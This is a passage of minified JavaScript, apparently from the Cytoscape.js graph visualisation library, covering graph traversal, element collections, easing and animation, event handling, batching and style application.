n=[];var a={};for(;;){var i=t.outgoing?r.outgoers():r.incomers();if(i.length===0){break}var o=false;for(var s=0;s<i.length;s++){var u=i[s];var l=u.id();if(!a[l]){a[l]=true;n.push(u);o=true}}if(!o){break}r=i}return this.spawn(n,true).filter(e)}};xo.clearTraversalCache=function(){for(var e=0;e<this.length;e++){this[e]._private.traversalCache=null}};ie(xo,{roots:wo({noIncomingEdges:true}),leaves:wo({noOutgoingEdges:true}),outgoers:Fa(Eo({outgoing:true}),"outgoers"),successors:_o({outgoing:true}),incomers:Fa(Eo({incoming:true}),"incomers"),predecessors:_o({incoming:true})});ie(xo,{neighborhood:Fa((function(e){var t=[];var r=this.nodes();for(var n=0;n<r.length;n++){var a=r[n];var i=a.connectedEdges();for(var o=0;o<i.length;o++){var s=i[o];var u=s.source();var l=s.target();var f=a===u?l:u;if(f.length>0){t.push(f[0])}t.push(s[0])}}return this.spawn(t,true).filter(e)}),"neighborhood"),closedNeighborhood:function e(t){return this.neighborhood().add(this).filter(t)},openNeighborhood:function e(t){return this.neighborhood(t)}});xo.neighbourhood=xo.neighborhood;xo.closedNeighbourhood=xo.closedNeighborhood;xo.openNeighbourhood=xo.openNeighborhood;ie(xo,{source:Fa((function e(t){var r=this[0];var n;if(r){n=r._private.source||r.cy().collection()}return n&&t?n.filter(t):n}),"source"),target:Fa((function e(t){var r=this[0];var n;if(r){n=r._private.target||r.cy().collection()}return n&&t?n.filter(t):n}),"target"),sources:ko({attr:"source"}),targets:ko({attr:"target"})});function ko(e){return function t(r){var n=[];for(var a=0;a<this.length;a++){var i=this[a];var o=i._private[e.attr];if(o){n.push(o)}}return this.spawn(n,true).filter(r)}}ie(xo,{edgesWith:Fa(So(),"edgesWith"),edgesTo:Fa(So({thisIsSrc:true}),"edgesTo")});function So(e){return function t(r){var n=[];var a=this._private.cy;var i=e||{};if(C(r)){r=a.$(r)}for(var o=0;o<r.length;o++){var s=r[o]._private.edges;for(var u=0;u<s.length;u++){var l=s[u];var f=l._private.data;var c=this.hasElementWithId(f.source)&&r.hasElementWithId(f.target);var v=r.hasElementWithId(f.source)&&this.hasElementWithId(f.target);var d=c||v;if(!d){continue}if(i.thisIsSrc||i.thisIsTgt){if(i.thisIsSrc&&!c){continue}if(i.thisIsTgt&&!v){continue}}n.push(l)}}return this.spawn(n,true)}}ie(xo,{connectedEdges:Fa((function(e){var t=[];var r=this;for(var n=0;n<r.length;n++){var a=r[n];if(!a.isNode()){continue}var i=a._private.edges;for(var o=0;o<i.length;o++){var s=i[o];t.push(s)}}return this.spawn(t,true).filter(e)}),"connectedEdges"),connectedNodes:Fa((function(e){var t=[];var r=this;for(var n=0;n<r.length;n++){var a=r[n];if(!a.isEdge()){continue}t.push(a.source()[0]);t.push(a.target()[0])}return this.spawn(t,true).filter(e)}),"connectedNodes"),parallelEdges:Fa(Co(),"parallelEdges"),codirectedEdges:Fa(Co({codirected:true}),"codirectedEdges")});function Co(e){var t={codirected:false};e=ie({},t,e);return function t(r){var n=[];var a=this.edges();var i=e;for(var o=0;o<a.length;o++){var s=a[o];var u=s._private;var l=u.source;var f=l._private.data.id;var c=u.data.target;var v=l._private.edges;for(var d=0;d<v.length;d++){var h=v[d];var p=h._private.data;var g=p.target;var y=p.source;var m=g===c&&y===f;var b=f===g&&c===y;if(i.codirected&&m||!i.codirected&&(m||b)){n.push(h)}}}return this.spawn(n,true).filter(r)}}ie(xo,{components:function e(t){var r=this;var n=r.cy();var a=n.collection();var i=t==null?r.nodes():t.nodes();var e=[];if(t!=null&&i.empty()){i=t.sources()}var o=function e(t,r){a.merge(t);i.unmerge(t);r.merge(t)};if(i.empty()){return r.spawn()}var s=function t(){var a=n.collection();e.push(a);var s=i[0];o(s,a);r.bfs({directed:false,roots:s,visit:function e(t){return o(t,a)}});a.forEach((function(e){e.connectedEdges().forEach((function(e){if(r.has(e)&&a.has(e.source())&&a.has(e.target())){a.merge(e)}}))}))};do{s()}while(i.length>0);return e},component:function e(){var t=this[0];return t.cy().mutableElements().components(t)[0]}});xo.componentsOf=xo.components;var Do=function e(t,r){var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:false;if(t===undefined){Fe("A collection must have a reference to the core");return}var a=new rt;var i=false;if(!r){r=[]}else if(r.length>0&&P(r[0])&&!A(r[0])){i=true;var o=[];var s=new it;for(var u=0,l=r.length;u<l;u++){var f=r[u];if(f.data==null){f.data={}}var c=f.data;if(c.id==null){c.id=We()}else if(t.hasElementWithId(c.id)||s.has(c.id)){continue}var v=new ot(t,f,false);o.push(v);s.add(c.id)}r=o}this.length=0;for(var d=0,h=r.length;d<h;d++){var p=r[d][0];if(p==null){continue}var g=p._private.data.id;if(!n||!a.has(g)){if(n){a.set(g,{index:this.length,ele:p})}this[this.length]=p;this.length++}}this._private={eles:this,cy:t,get map(){if(this.lazyMap==null){this.rebuildMap()}return this.lazyMap},set map(e){this.lazyMap=e},rebuildMap:function e(){var t=this.lazyMap=new rt;var r=this.eles;for(var n=0;n<r.length;n++){var a=r[n];t.set(a.id(),{index:n,ele:a})}}};if(n){this._private.map=a}if(i){this.restore()}};var To=ot.prototype=Do.prototype=Object.create(Array.prototype);To.instanceString=function(){return"collection"};To.spawn=function(e,t){return new Do(this.cy(),e,t)};To.spawnSelf=function(){return this.spawn(this)};To.cy=function(){return this._private.cy};To.renderer=function(){return this._private.cy.renderer()};To.element=function(){return this[0]};To.collection=function(){if(L(this)){return this}else{return new Do(this._private.cy,[this])}};To.unique=function(){return new Do(this._private.cy,this,true)};To.hasElementWithId=function(e){e=""+e;return this._private.map.has(e)};To.getElementById=function(e){e=""+e;var t=this._private.cy;var r=this._private.map.get(e);return r?r.ele:new Do(t)};To.$id=To.getElementById;To.poolIndex=function(){var e=this._private.cy;var t=e._private.elements;var r=this[0]._private.data.id;return t._private.map.get(r).index};To.indexOf=function(e){var t=e[0]._private.data.id;return this._private.map.get(t).index};To.indexOfId=function(e){e=""+e;return this._private.map.get(e).index};To.json=function(e){var t=this.element();var r=this.cy();if(t==null&&e){return this}if(t==null){return undefined}var n=t._private;if(P(e)){r.startBatch();if(e.data){t.data(e.data);var a=n.data;if(t.isEdge()){var i=false;var o={};var s=e.data.source;var u=e.data.target;if(s!=null&&s!=a.source){o.source=""+s;i=true}if(u!=null&&u!=a.target){o.target=""+u;i=true}if(i){t=t.move(o)}}else{var l="parent"in e.data;var f=e.data.parent;if(l&&(f!=null||a.parent!=null)&&f!=a.parent){if(f===undefined){f=null}if(f!=null){f=""+f}t=t.move({parent:f})}}}if(e.position){t.position(e.position)}var c=function r(a,i,o){var s=e[a];if(s!=null&&s!==n[a]){if(s){t[i]()}else{t[o]()}}};c("removed","remove","restore");c("selected","select","unselect");c("selectable","selectify","unselectify");c("locked","lock","unlock");c("grabbable","grabify","ungrabify");c("pannable","panify","unpanify");if(e.classes!=null){t.classes(e.classes)}r.endBatch();return this}else if(e===undefined){var v={data:Ye(n.data),position:Ye(n.position),group:n.group,removed:n.removed,selected:n.selected,selectable:n.selectable,locked:n.locked,grabbable:n.grabbable,pannable:n.pannable,classes:null};v.classes="";var d=0;n.classes.forEach((function(e){return v.classes+=d++===0?e:" "+e}));return v}};To.jsons=function(){var e=[];for(var t=0;t<this.length;t++){var r=this[t];var n=r.json();e.push(n)}return e};To.clone=function(){var e=this.cy();var t=[];for(var r=0;r<this.length;r++){var n=this[r];var a=n.json();var i=new ot(e,a,false);t.push(i)}return new Do(e,t)};To.copy=To.clone;To.restore=function(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:true;var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var r=this;var n=r.cy();var a=n._private;var i=[];var o=[];var s;for(var u=0,l=r.length;u<l;u++){var f=r[u];if(t&&!f.removed()){continue}if(f.isNode()){i.push(f)}else{o.push(f)}}s=i.concat(o);var c;var v=function e(){s.splice(c,1);c--};for(c=0;c<s.length;c++){var d=s[c];var h=d._private;var p=h.data;d.clearTraversalCache();if(!t&&!h.removed);else if(p.id===undefined){p.id=We()}else if(I(p.id)){p.id=""+p.id}else if(F(p.id)||!C(p.id)){Fe("Can not create element with invalid string ID `"+p.id+"`");v();continue}else if(n.hasElementWithId(p.id)){Fe("Can not create second element with ID `"+p.id+"`");v();continue}var g=p.id;if(d.isNode()){var y=h.position;if(y.x==null){y.x=0}if(y.y==null){y.y=0}}if(d.isEdge()){var m=d;var b=["source","target"];var x=b.length;var w=false;for(var E=0;E<x;E++){var _=b[E];var k=p[_];if(I(k)){k=p[_]=""+p[_]}if(k==null||k===""){Fe("Can not create edge `"+g+"` with unspecified "+_);w=true}else if(!n.hasElementWithId(k)){Fe("Can not create edge `"+g+"` with nonexistant "+_+" `"+k+"`");w=true}}if(w){v();continue}var S=n.getElementById(p.source);var D=n.getElementById(p.target);if(S.same(D)){S._private.edges.push(m)}else{S._private.edges.push(m);D._private.edges.push(m)}m._private.source=S;m._private.target=D}h.map=new rt;h.map.set(g,{ele:d,index:0});h.removed=false;if(t){n.addToPool(d)}}for(var T=0;T<i.length;T++){var P=i[T];var M=P._private.data;if(I(M.parent)){M.parent=""+M.parent}var O=M.parent;var N=O!=null;if(N){var z=n.getElementById(O);if(z.empty()){M.parent=undefined}else{var A=false;var L=z;while(!L.empty()){if(P.same(L)){A=true;M.parent=undefined;break}L=L.parent()}if(!A){z[0]._private.children.push(P);P._private.parent=z[0];a.hasCompoundNodes=true}}}}if(s.length>0){var B=s.length===r.length?r:new Do(n,s);for(var j=0;j<B.length;j++){var R=B[j];if(R.isNode()){continue}R.parallelEdges().clearTraversalCache();R.source().clearTraversalCache();R.target().clearTraversalCache()}var V;if(a.hasCompoundNodes){V=n.collection().merge(B).merge(B.connectedNodes()).merge(B.parent())}else{V=B}V.dirtyCompoundBoundsCache().dirtyBoundingBoxCache().updateStyle(e);if(e){B.emitAndNotify("add")}else if(t){B.emit("add")}}return r};To.removed=function(){var e=this[0];return e&&e._private.removed};To.inside=function(){var e=this[0];return e&&!e._private.removed};To.remove=function(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:true;var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var r=this;var n=[];var a={};var i=r._private.cy;function o(e){var t=e._private.edges;for(var r=0;r<t.length;r++){u(t[r])}}function s(e){var t=e._private.children;for(var r=0;r<t.length;r++){u(t[r])}}function u(e){var r=a[e.id()];if(t&&e.removed()||r){return}else{a[e.id()]=true}if(e.isNode()){n.push(e);o(e);s(e)}else{n.unshift(e)}}for(var l=0,f=r.length;l<f;l++){var c=r[l];u(c)}function v(e,t){var r=e._private.edges;$e(r,t);e.clearTraversalCache()}function d(e){e.clearTraversalCache()}var h=[];h.ids={};function p(e,t){t=t[0];e=e[0];var r=e._private.children;var n=e.id();$e(r,t);t._private.parent=null;if(!h.ids[n]){h.ids[n]=true;h.push(e)}}r.dirtyCompoundBoundsCache();if(t){i.removeFromPool(n)}for(var g=0;g<n.length;g++){var y=n[g];if(y.isEdge()){var m=y.source()[0];var b=y.target()[0];v(m,y);v(b,y);var x=y.parallelEdges();for(var w=0;w<x.length;w++){var E=x[w];d(E);if(E.isBundledBezier()){E.dirtyBoundingBoxCache()}}}else{var _=y.parent();if(_.length!==0){p(_,y)}}if(t){y._private.removed=true}}var k=i._private.elements;i._private.hasCompoundNodes=false;for(var S=0;S<k.length;S++){var C=k[S];if(C.isParent()){i._private.hasCompoundNodes=true;break}}var D=new Do(this.cy(),n);if(D.size()>0){if(e){D.emitAndNotify("remove")}else if(t){D.emit("remove")}}for(var T=0;T<h.length;T++){var P=h[T];if(!t||!P.removed()){P.updateStyle()}}return D};To.move=function(e){var t=this._private.cy;var r=this;var n=false;var a=false;var i=function e(t){return t==null?t:""+t};if(e.source!==undefined||e.target!==undefined){var o=i(e.source);var s=i(e.target);var u=o!=null&&t.hasElementWithId(o);var l=s!=null&&t.hasElementWithId(s);if(u||l){t.batch((function(){r.remove(n,a);r.emitAndNotify("moveout");for(var e=0;e<r.length;e++){var t=r[e];var i=t._private.data;if(t.isEdge()){if(u){i.source=o}if(l){i.target=s}}}r.restore(n,a)}));r.emitAndNotify("move")}}else if(e.parent!==undefined){var f=i(e.parent);var c=f===null||t.hasElementWithId(f);if(c){var v=f===null?undefined:f;t.batch((function(){var e=r.remove(n,a);e.emitAndNotify("moveout");for(var t=0;t<r.length;t++){var i=r[t];var o=i._private.data;if(i.isNode()){o.parent=v}}e.restore(n,a)}));r.emitAndNotify("move")}}return this};[Hn,fa,ca,Ra,Va,Ua,Ka,zi,$i,Zi,Ji,to,ao,uo,yo,xo].forEach((function(e){ie(To,e)}));var Po={add:function e(t){var r;var n=this;if(z(t)){var a=t;if(a._private.cy===n){r=a.restore()}else{var i=[];for(var o=0;o<a.length;o++){var s=a[o];i.push(s.json())}r=new Do(n,i)}}else if(T(t)){var u=t;r=new Do(n,u)}else if(P(t)&&(T(t.nodes)||T(t.edges))){var l=t;var f=[];var c=["nodes","edges"];for(var v=0,d=c.length;v<d;v++){var h=c[v];var p=l[h];if(T(p)){for(var g=0,y=p.length;g<y;g++){var m=ie({group:h},p[g]);f.push(m)}}}r=new Do(n,f)}else{var b=t;r=new ot(n,b).collection()}return r},remove:function e(t){if(z(t));else if(C(t)){var r=t;t=this.$(r)}return t.remove()}};
/*! Bezier curve function generator. Copyright Gaetan Renaudeau. MIT License: http://en.wikipedia.org/wiki/MIT_License */function Mo(e,t,r,n){var a=4,i=.001,o=1e-7,s=10,u=11,l=1/(u-1),f=typeof Float32Array!=="undefined";if(arguments.length!==4){return false}for(var c=0;c<4;++c){if(typeof arguments[c]!=="number"||isNaN(arguments[c])||!isFinite(arguments[c])){return false}}e=Math.min(e,1);r=Math.min(r,1);e=Math.max(e,0);r=Math.max(r,0);var v=f?new Float32Array(u):new Array(u);function d(e,t){return 1-3*t+3*e}function h(e,t){return 3*t-6*e}function p(e){return 3*e}function g(e,t,r){return((d(t,r)*e+h(t,r))*e+p(t))*e}function y(e,t,r){return 3*d(t,r)*e*e+2*h(t,r)*e+p(t)}function m(t,n){for(var i=0;i<a;++i){var o=y(n,e,r);if(o===0){return n}var s=g(n,e,r)-t;n-=s/o}return n}function b(){for(var t=0;t<u;++t){v[t]=g(t*l,e,r)}}function x(t,n,a){var i,u,l=0;do{u=n+(a-n)/2;i=g(u,e,r)-t;if(i>0){a=u}else{n=u}}while(Math.abs(i)>o&&++l<s);return u}function w(t){var n=0,a=1,o=u-1;for(;a!==o&&v[a]<=t;++a){n+=l}--a;var s=(t-v[a])/(v[a+1]-v[a]),f=n+s*l,c=y(f,e,r);if(c>=i){return m(t,f)}else if(c===0){return f}else{return x(t,n,n+l)}}var E=false;function _(){E=true;if(e!==t||r!==n){b()}}var k=function a(i){if(!E){_()}if(e===t&&r===n){return i}if(i===0){return 0}if(i===1){return 1}return g(w(i),t,n)};k.getControlPoints=function(){return[{x:e,y:t},{x:r,y:n}]};var S="generateBezier("+[e,t,r,n]+")";k.toString=function(){return S};return k}
/*! Runge-Kutta spring physics function generator. Adapted from Framer.js, copyright Koen Bok. MIT License: http://en.wikipedia.org/wiki/MIT_License */var Io=function(){function e(e){return-e.tension*e.x-e.friction*e.v}function t(t,r,n){var a={x:t.x+n.dx*r,v:t.v+n.dv*r,tension:t.tension,friction:t.friction};return{dx:a.v,dv:e(a)}}function r(r,n){var a={dx:r.v,dv:e(r)},i=t(r,n*.5,a),o=t(r,n*.5,i),s=t(r,n,o),u=1/6*(a.dx+2*(i.dx+o.dx)+s.dx),l=1/6*(a.dv+2*(i.dv+o.dv)+s.dv);r.x=r.x+u*n;r.v=r.v+l*n;return r}return function e(t,n,a){var i={x:-1,v:0,tension:null,friction:null},o=[0],s=0,u=1/1e4,l=16/1e3,f,c,v;t=parseFloat(t)||500;n=parseFloat(n)||20;a=a||null;i.tension=t;i.friction=n;f=a!==null;if(f){s=e(t,n);c=s/a*l}else{c=l}for(;;){v=r(v||i,c);o.push(1+v.x);s+=16;if(!(Math.abs(v.x)>u&&Math.abs(v.v)>u)){break}}return!f?s:function(e){return o[e*(o.length-1)|0]}}}();var Oo=function e(t,r,n,a){var i=Mo(t,r,n,a);return function(e,t,r){return e+(t-e)*i(r)}};var No={linear:function e(t,r,n){return t+(r-t)*n},ease:Oo(.25,.1,.25,1),"ease-in":Oo(.42,0,1,1),"ease-out":Oo(0,0,.58,1),"ease-in-out":Oo(.42,0,.58,1),"ease-in-sine":Oo(.47,0,.745,.715),"ease-out-sine":Oo(.39,.575,.565,1),"ease-in-out-sine":Oo(.445,.05,.55,.95),"ease-in-quad":Oo(.55,.085,.68,.53),"ease-out-quad":Oo(.25,.46,.45,.94),"ease-in-out-quad":Oo(.455,.03,.515,.955),"ease-in-cubic":Oo(.55,.055,.675,.19),"ease-out-cubic":Oo(.215,.61,.355,1),"ease-in-out-cubic":Oo(.645,.045,.355,1),"ease-in-quart":Oo(.895,.03,.685,.22),"ease-out-quart":Oo(.165,.84,.44,1),"ease-in-out-quart":Oo(.77,0,.175,1),"ease-in-quint":Oo(.755,.05,.855,.06),"ease-out-quint":Oo(.23,1,.32,1),"ease-in-out-quint":Oo(.86,0,.07,1),"ease-in-expo":Oo(.95,.05,.795,.035),"ease-out-expo":Oo(.19,1,.22,1),"ease-in-out-expo":Oo(1,0,0,1),"ease-in-circ":Oo(.6,.04,.98,.335),"ease-out-circ":Oo(.075,.82,.165,1),"ease-in-out-circ":Oo(.785,.135,.15,.86),spring:function e(t,r,n){if(n===0){return No.linear}var e=Io(t,r,n);return function(t,r,n){return t+(r-t)*e(n)}},"cubic-bezier":Oo};function zo(e,t,r,n,a){if(n===1){return r}if(t===r){return r}var i=a(t,r,n);if(e==null){return i}if(e.roundValue||e.color){i=Math.round(i)}if(e.min!==undefined){i=Math.max(i,e.min)}if(e.max!==undefined){i=Math.min(i,e.max)}return i}function Ao(e,t){if(e.pfValue!=null||e.value!=null){if(e.pfValue!=null&&(t==null||t.type.units!=="%")){return e.pfValue}else{return e.value}}else{return e}}function Lo(e,t,r,n,a){var i=a!=null?a.type:null;if(r<0){r=0}else if(r>1){r=1}var o=Ao(e,a);var s=Ao(t,a);if(I(o)&&I(s)){return zo(i,o,s,r,n)}else if(T(o)&&T(s)){var u=[];for(var l=0;l<s.length;l++){var f=o[l];var c=s[l];if(f!=null&&c!=null){var v=zo(i,f,c,r,n);u.push(v)}else{u.push(c)}}return u}return undefined}function Bo(e,t,r,n){var a=!n;var i=e._private;var o=t._private;var s=o.easing;var u=o.startTime;var l=n?e:e.cy();var f=l.style();if(!o.easingImpl){if(s==null){o.easingImpl=No["linear"]}else{var c;if(C(s)){var v=f.parse("transition-timing-function",s);c=v.value}else{c=s}var d,h;if(C(c)){d=c;h=[]}else{d=c[1];h=c.slice(2).map((function(e){return+e}))}if(h.length>0){if(d==="spring"){h.push(o.duration)}o.easingImpl=No[d].apply(null,h)}else{o.easingImpl=No[d]}}}var p=o.easingImpl;var g;if(o.duration===0){g=1}else{g=(r-u)/o.duration}if(o.applying){g=o.progress}if(g<0){g=0}else if(g>1){g=1}if(o.delay==null){var y=o.startPosition;var m=o.position;if(m&&a&&!e.locked()){var b={};if(jo(y.x,m.x)){b.x=Lo(y.x,m.x,g,p)}if(jo(y.y,m.y)){b.y=Lo(y.y,m.y,g,p)}e.position(b)}var x=o.startPan;var w=o.pan;var E=i.pan;var _=w!=null&&n;if(_){if(jo(x.x,w.x)){E.x=Lo(x.x,w.x,g,p)}if(jo(x.y,w.y)){E.y=Lo(x.y,w.y,g,p)}e.emit("pan")}var k=o.startZoom;var S=o.zoom;var D=S!=null&&n;if(D){if(jo(k,S)){i.zoom=Ft(i.minZoom,Lo(k,S,g,p),i.maxZoom)}e.emit("zoom")}if(_||D){e.emit("viewport")}var T=o.style;if(T&&T.length>0&&a){for(var P=0;P<T.length;P++){var M=T[P];var I=M.name;var O=M;var N=o.startStyle[I];var z=f.properties[N.name];var A=Lo(N,O,g,p,z);f.overrideBypass(e,I,A)}e.emit("style")}}o.progress=g;return g}function jo(e,t){if(e==null||t==null){return false}if(I(e)&&I(t)){return true}else if(e&&t){return true}return false}function Ro(e,t,r,n){var a=t._private;a.started=true;a.startTime=r-a.progress*a.duration}function Fo(e,t){var r=t._private.aniEles;var n=[];function a(t,r){var a=t._private;var i=a.animation.current;var o=a.animation.queue;var s=false;if(i.length===0){var u=o.shift();if(u){i.push(u)}}var l=function e(t){for(var r=t.length-1;r>=0;r--){var n=t[r];n()}t.splice(0,t.length)};for(var f=i.length-1;f>=0;f--){var c=i[f];var v=c._private;if(v.stopped){i.splice(f,1);v.hooked=false;v.playing=false;v.started=false;l(v.frames);continue}if(!v.playing&&!v.applying){continue}if(v.playing&&v.applying){v.applying=false}if(!v.started){Ro(t,c,e)}Bo(t,c,e,r);if(v.applying){v.applying=false}l(v.frames);if(v.step!=null){v.step(e)}if(c.completed()){i.splice(f,1);v.hooked=false;v.playing=false;v.started=false;l(v.completes)}s=true}if(!r&&i.length===0&&o.length===0){n.push(t)}return s}var i=false;for(var o=0;o<r.length;o++){var s=r[o];var u=a(s);i=i||u}var l=a(t,true);if(i||l){if(r.length>0){t.notify("draw",r)}else{t.notify("draw")}}r.unmerge(n);t.emit("step")}var Vo={animate:la.animate(),animation:la.animation(),animated:la.animated(),clearQueue:la.clearQueue(),delay:la.delay(),delayAnimation:la.delayAnimation(),stop:la.stop(),addToAnimationPool:function e(t){var r=this;if(!r.styleEnabled()){return}r._private.aniEles.merge(t)},stopAnimationLoop:function e(){this._private.animationsRunning=false},startAnimationLoop:function e(){var t=this;t._private.animationsRunning=true;if(!t.styleEnabled()){return}function r(){if(!t._private.animationsRunning){return}ye((function e(n){Fo(n,t);r()}))}var n=t.renderer();if(n&&n.beforeRender){n.beforeRender((function e(r,n){Fo(n,t)}),n.beforeRenderPriorities.animations)}else{r()}}};var qo={qualifierCompare:function e(t,r){if(t==null||r==null){return t==null&&r==null}else{return t.sameText(r)}},eventMatches:function e(t,r,n){var a=r.qualifier;if(a!=null){return t!==n.target&&A(n.target)&&a.matches(n.target)}return true},addEventFields:function e(t,r){r.cy=t;r.target=t},callbackContext:function e(t,r,n){return r.qualifier!=null?n.target:t}};var Go=function e(t){if(C(t)){return new Ba(t)}else{return t}};var Yo={createEmitter:function e(){var t=this._private;if(!t.emitter){t.emitter=new Gi(qo,this)}return this},emitter:function e(){return this._private.emitter},on:function e(t,r,n){this.emitter().on(t,Go(r),n);return this},removeListener:function e(t,r,n){this.emitter().removeListener(t,Go(r),n);return this},removeAllListeners:function e(){this.emitter().removeAllListeners();return this},one:function e(t,r,n){this.emitter().one(t,Go(r),n);return this},once:function e(t,r,n){this.emitter().one(t,Go(r),n);return this},emit:function e(t,r){this.emitter().emit(t,r);return this},emitAndNotify:function e(t,r){this.emit(t);this.notify(t,r);return this}};la.eventAliasesOn(Yo);var Xo={png:function e(t){var r=this._private.renderer;t=t||{};return r.png(t)},jpg:function e(t){var r=this._private.renderer;t=t||{};t.bg=t.bg||"#fff";return r.jpg(t)}};Xo.jpeg=Xo.jpg;var Wo={layout:function e(t){var r=this;if(t==null){Fe("Layout options must be specified to make a layout");return}if(t.name==null){Fe("A `name` must be specified to make a layout");return}var n=t.name;var a=r.extension("layout",n);if(a==null){Fe("No such layout `"+n+"` found.  Did you forget to import it and `cytoscape.use()` it?");return}var i;if(C(t.eles)){i=r.$(t.eles)}else{i=t.eles!=null?t.eles:r.$()}var e=new a(ie({},t,{cy:r,eles:i}));return e}};Wo.createLayout=Wo.makeLayout=Wo.layout;var Ho={notify:function e(t,r){var n=this._private;if(this.batching()){n.batchNotifications=n.batchNotifications||{};var a=n.batchNotifications[t]=n.batchNotifications[t]||this.collection();if(r!=null){a.merge(r)}return}if(!n.notificationsEnabled){return}var i=this.renderer();if(this.destroyed()||!i){return}i.notify(t,r)},notifications:function e(t){var r=this._private;if(t===undefined){return r.notificationsEnabled}else{r.notificationsEnabled=t?true:false}return this},noNotifications:function e(t){this.notifications(false);t();this.notifications(true)},batching:function e(){return this._private.batchCount>0},startBatch:function e(){var t=this._private;if(t.batchCount==null){t.batchCount=0}if(t.batchCount===0){t.batchStyleEles=this.collection();t.batchNotifications={}}t.batchCount++;return this},endBatch:function e(){var t=this._private;if(t.batchCount===0){return this}t.batchCount--;if(t.batchCount===0){t.batchStyleEles.updateStyle();var r=this.renderer();Object.keys(t.batchNotifications).forEach((function(e){var n=t.batchNotifications[e];if(n.empty()){r.notify(e)}else{r.notify(e,n)}}))}return this},batch:function e(t){this.startBatch();t();this.endBatch();return this},batchData:function e(t){var r=this;return this.batch((function(){var e=Object.keys(t);for(var n=0;n<e.length;n++){var a=e[n];var i=t[a];var o=r.getElementById(a);o.data(i)}}))}};var Uo=Ke({hideEdgesOnViewport:false,textureOnViewport:false,motionBlur:false,motionBlurOpacity:.05,pixelRatio:undefined,desktopTapThreshold:4,touchTapThreshold:8,wheelSensitivity:1,debug:false,showFps:false});var Ko={renderTo:function e(t,r,n,a){var i=this._private.renderer;i.renderTo(t,r,n,a);return this},renderer:function e(){return this._private.renderer},forceRender:function e(){this.notify("draw");return this},resize:function e(){this.invalidateSize();this.emitAndNotify("resize");return this},initRenderer:function e(t){var r=this;var n=r.extension("renderer",t.name);if(n==null){Fe("Can not initialise: No such renderer `".concat(t.name,"` found. Did you forget to import it and `cytoscape.use()` it?"));return}if(t.wheelSensitivity!==undefined){qe("You have set a custom wheel sensitivity.  This will make your app zoom unnaturally when using mainstream mice.  You should change this value from the default only if you can guarantee that all your users will use the same hardware and OS configuration as your current machine.")}var a=Uo(t);a.cy=r;r._private.renderer=new n(a);this.notify("init")},destroyRenderer:function e(){var t=this;t.notify("destroy");var r=t.container();if(r){r._cyreg=null;while(r.childNodes.length>0){r.removeChild(r.childNodes[0])}}t._private.renderer=null;t.mutableElements().forEach((function(e){var t=e._private;t.rscratch={};t.rstyle={};t.animation.current=[];t.animation.queue=[]}))},onRender:function e(t){return this.on("render",t)},offRender:function e(t){return this.off("render",t)}};Ko.invalidateDimensions=Ko.resize;var $o={collection:function e(t,r){if(C(t)){return this.$(t)}else if(z(t)){return t.collection()}else if(T(t)){return new Do(this,t,r)}return new Do(this)},nodes:function e(t){var e=this.$((function(e){return e.isNode()}));if(t){return e.filter(t)}return e},edges:function e(t){var e=this.$((function(e){return e.isEdge()}));if(t){return e.filter(t)}return e},$:function e(t){var r=this._private.elements;if(t){return r.filter(t)}else{return r.spawnSelf()}},mutableElements:function e(){return this._private.elements}};$o.elements=$o.filter=$o.$;var Zo={};var Qo="t";var Jo="f";Zo.apply=function(e){var t=this;var r=t._private;var n=r.cy;var a=n.collection();for(var i=0;i<e.length;i++){var o=e[i];var s=t.getContextMeta(o);if(s.empty){continue}var u=t.getContextStyle(s);var l=t.applyContextStyle(s,u,o);if(o._private.appliedInitStyle){t.updateTransitions(o,l.diffProps)}else{o._private.appliedInitStyle=true}var f=t.updateStyleHints(o);if(f){a.push(o)}}return a};Zo.getPropertiesDiff=function(e,t){var r=this;var n=r._private.propDiffs=r._private.propDiffs||{};var a=e+"-"+t;var i=n[a];if(i){return i}var o=[];var s={};for(var u=0;u<r.length;u++){var l=r[u];var f=e[u]===Qo;var c=t[u]===Qo;var v=f!==c;var d=l.mappedProperties.length>0;if(v||c&&d){var h=void 0;if(v&&d){h=l.properties}else if(v){h=l.properties}else if(d){h=l.mappedProperties}for(var p=0;p<h.length;p++){var g=h[p];var y=g.name;var m=false;for(var b=u+1;b<r.length;b++){var x=r[b];var w=t[b]===Qo;if(!w){continue}m=x.properties[g.name]!=null;if(m){break}}if(!s[y]&&!m){s[y]=true;o.push(y)}}}}n[a]=o;return o};Zo.getContextMeta=function(e){var t=this;var r="";var n;var a=e._private.styleCxtKey||"";for(var i=0;i<t.length;i++){var o=t[i];var s=o.selector&&o.selector.matches(e);if(s){r+=Qo}else{r+=Jo}}n=t.getPropertiesDiff(a,r);e._private.styleCxtKey=r;return{key:r,diffPropNames:n,empty:n.length===0}};Zo.getContextStyle=function(e){var t=e.key;var r=this;var n=this._private.contextStyles=this._private.contextStyles||{};if(n[t]){return n[t]}var a={_private:{key:t}};for(var i=0;i<r.length;i++){var o=r[i];var s=t[i]===Qo;if(!s){continue}for(var u=0;u<o.properties.length;u++){var l=o.properties[u];a[l.name]=l}}n[t]=a;return a};Zo.applyContextStyle=function(e,t,r){var n=this;var a=e.diffPropNames;var i={};var o=n.types;for(var s=0;s<a.length;s++){var u=a[s];var l=t[u];var f=r.pstyle(u);if(!l){if(!f){continue}else if(f.bypass){l={name:u,deleteBypassed:true}}else{l={name:u,delete:true}}}if(f===l){continue}if(l.mapped===o.fn&&f!=null&&f.mapping!=null&&f.mapping.value===l.value){var c=f.mapping;var v=c.fnValue=l.value(r);if(v===c.prevFnValue){continue}}var d=i[u]={prev:f};n.applyParsedProperty(r,l);d.next=r.pstyle(u);if(d.next&&d.next.bypass){d.next=d.next.bypassed}}return{diffProps:i}};Zo.updateStyleHints=function(e){var t=e._private;var r=this;var n=r.propertyGroupNames;var a=r.propertyGroupKeys;var i=function e(t,n,a){return r.getPropertiesHash(t,n,a)};var o=t.styleKey;if(e.removed()){return false}var s=t.group==="nodes";var u=e._private.style;n=Object.keys(u);for(var l=0;l<a.length;l++){var f=a[l];t.styleKeys[f]=[be,we]}var c=function e(r,n){return t.styleKeys[n][0]=_e(r,t.styleKeys[n][0])};var v=function e(r,n){return t.styleKeys[n][1]=ke(r,t.styleKeys[n][1])};var d=function e(t,r){c(t,r);v(t,r)};var h=function e(t,r){for(var n=0;n<t.length;n++){var a=t.charCodeAt(n);c(a,r);v(a,r)}};var p=2e9;var g=function 